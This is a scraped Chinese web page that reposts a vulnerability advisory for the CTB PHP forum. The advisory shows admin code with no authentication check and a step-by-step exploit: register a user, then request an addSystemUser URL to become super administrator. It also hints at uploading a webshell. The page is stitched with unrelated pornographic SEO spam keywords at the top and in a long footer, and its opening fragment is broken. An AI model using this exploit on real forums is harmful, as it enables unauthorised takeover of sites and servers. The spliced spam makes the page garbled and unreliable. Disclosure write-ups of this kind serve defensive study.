>>>Dedicated This Scrap To CaoJing<<<

涉及版本:
^^^^^^^
目前所有版本(現在1.3Alpha為最高版本)

描述:
^^^^^^
CTB是一款由實易數碼<11cn.org>;開發和維護的源代碼開放的PHP論 " /> 久久精品天天爽夜夜爽,新版孕妇bbwbbwbbw,chinese野外男女free

天天躁日日躁狠狠躁AV麻豆-天天躁人人躁人人躁狂躁-天天澡夜夜澡人人澡-天天影视香色欲综合网-国产成人女人在线视频观看-国产成人女人视频在线观看

漂亮但不安全的CTB


>>>Dedicated This Scrap To CaoJing<<< 

涉及版本: 
^^^^^^^ 
目前所有版本(現在1.3Alpha為最高版本) 

描述: 
^^^^^^ 
CTB是一款由實易數碼<11cn.org>;開發和維護的源代碼開放的php論壇。由于其后臺管理文件驗證存在缺陷,可能導致非法用戶直接添加論壇超級管理員,進而威脅論壇或服務器安全。 

具體: 
^^^^ 
CTB書寫非常規范,代碼井然有序,賞心悅目,的確是優美的程序;特別是其功能模塊,著實讓小弟學習了一把。但安全方面卻令人堪憂: 

試看如下代碼: 

/admin/main.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
 //獲取get變量 
   if( is_array($_GET) ) { 
      foreach($_GET as $k=>$v) { 
           if( is_array( $_GET[$k]) ) { 
               foreach($_GET[$k] as $k2=>$v2) { 
                   $return[$k][$k2] = $v2; 
               } 
           } else { 
               $return[$k] = $v; 
           } 
       } 

... 
$mod = isset($_GET['mod']) ? $_GET['mod'] : $_POST['mod']; 
   if (!file_exists($mod.".php" { 
       $mod = "mainright"; 
   } 
   require_once ($mod.".php"; 
   //----------------------------------------------------------------------------- 

   //初始化類變量 
   $ctb = new Module; 
   $ctb->set = $set; 
   $ctb->tplPath = "./templates"; 
   $ctb->input = $return; 
   $ctb->sess = isset($_COOKIE["sess_adminname"]) ? $_COOKIE : $_SESSION; 
   $ctb->execute(); 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

這里沒有任何驗證,我們看看添加管理員的文件: 

/admin/systemuser.php 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 
class Module extends CommonClass 
//系統管理模塊子類 

   function execute() { 
       switch($this->input['action']) { 
... 
case 'addSystemUser': 
               $this->addSystemUser(); 
               break; 
... 
    }       
   } 

function addSystemUser() 

   //輸入數據簡單格式化 
   $this->inputCheck("main.php?mod=systemuser&action=showSystemUser"; 
   //執行添加操作 
        $this->file = "../".$this->set[dataPath]."/users/list.php"; 
   $systemLine = $this->select(4, $this->input['systemUserName']); 
.... 
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 

依然沒有驗證,一路順利啊! 

利用方法: 
^^^^^^^ 
先注冊一個用戶: 

登陸ID:  cat 
用戶名 :   dog 
密碼:      ilikecat 
重復密碼:  ilikecat 
信箱:      cat@dog.com 

接著提交如下URL: 

http://www.target.com/ctb/admin/main.php?mod=systemuser&systemUserName=dog&systemUserMode=1&action=addSystemUser

哈哈,你現在已經是超級管理員了,不相信?提交如下URL后臺登陸: 

http://www.psych.com/ctb/admin/main.php?mod=login 

管理名稱:  cat 
管理密碼:  ilikecat 

咦...還真成功了! 

你現在是不是想更改后臺上傳文件類型,然后upload webshell?哼,被我猜到了吧... 

后記:另外發現CTB代碼注釋有些扎眼的錯別字,大煞風景,希望可以一起修正。

php技術漂亮但不安全的CTB,轉載需保留來源!

鄭重聲明:本文版權歸原作者所有,轉載文章僅為傳播更多信息之目的,如作者信息標記有誤,請第一時間聯系我們修改或刪除,多謝。

主站蜘蛛池模板: 国产中文字幕一区 | 粉嫩国产14xxxxx0000 | 国产三级在线精品男人的天堂 | 秋霞特色大片18岁入口 | 色偷拍自怕亚洲在线 | 午夜性色一区二区三区不卡视频 | 亚洲午夜久久久久久久久电影网 | 欧美日韩中文字幕综合图区 | 亚洲AV 无码AV 中文字幕 | 亚洲性无码av在线 | 良家人妻无码专区九色颜射 | 网址在线观看你懂我意思吧免费的 | 国产精品热久久高潮AV袁孑怡 | 国产美女裸身网站免费观看视频 | 中文字幕永久在线观看 | 亚洲AV无码乱码国产精品品麻豆 | 99久久麻豆AV色婷婷综合 | 娇妻在床上迎合男人 | 国产精品伦一区二区三级视频 | 国产一区二区三区内射高清 | 好男人午夜www视频在线观看 | 韩国无遮羞禁动漫在线观看 | 欧美xx69| 久久毛片免费看一区二区三区 | 亚洲日韩在线天堂一 | 國産麻豆AVMDMD0179 | 夜里18款禁用的免费B站动漫 | 成年视频xxxxxx在线 | 久久精品久精品99热 | 日韩一区二区三区精品 | 259luxu高跟黑色丝袜系列 | 亚洲精品午睡沙发系列 | 亚洲熟少妇在线播放999 | 猫咪av永久最新域名 | 欧美123区 | 76人遣返航班上71人呈阳性 | 国产日韩久久久精品影院首页 | 日本无吗高清 | 伊人不卡久久大香线蕉综合影院 | 91精品免费久久久久久久久 | 黃色带三级a级 |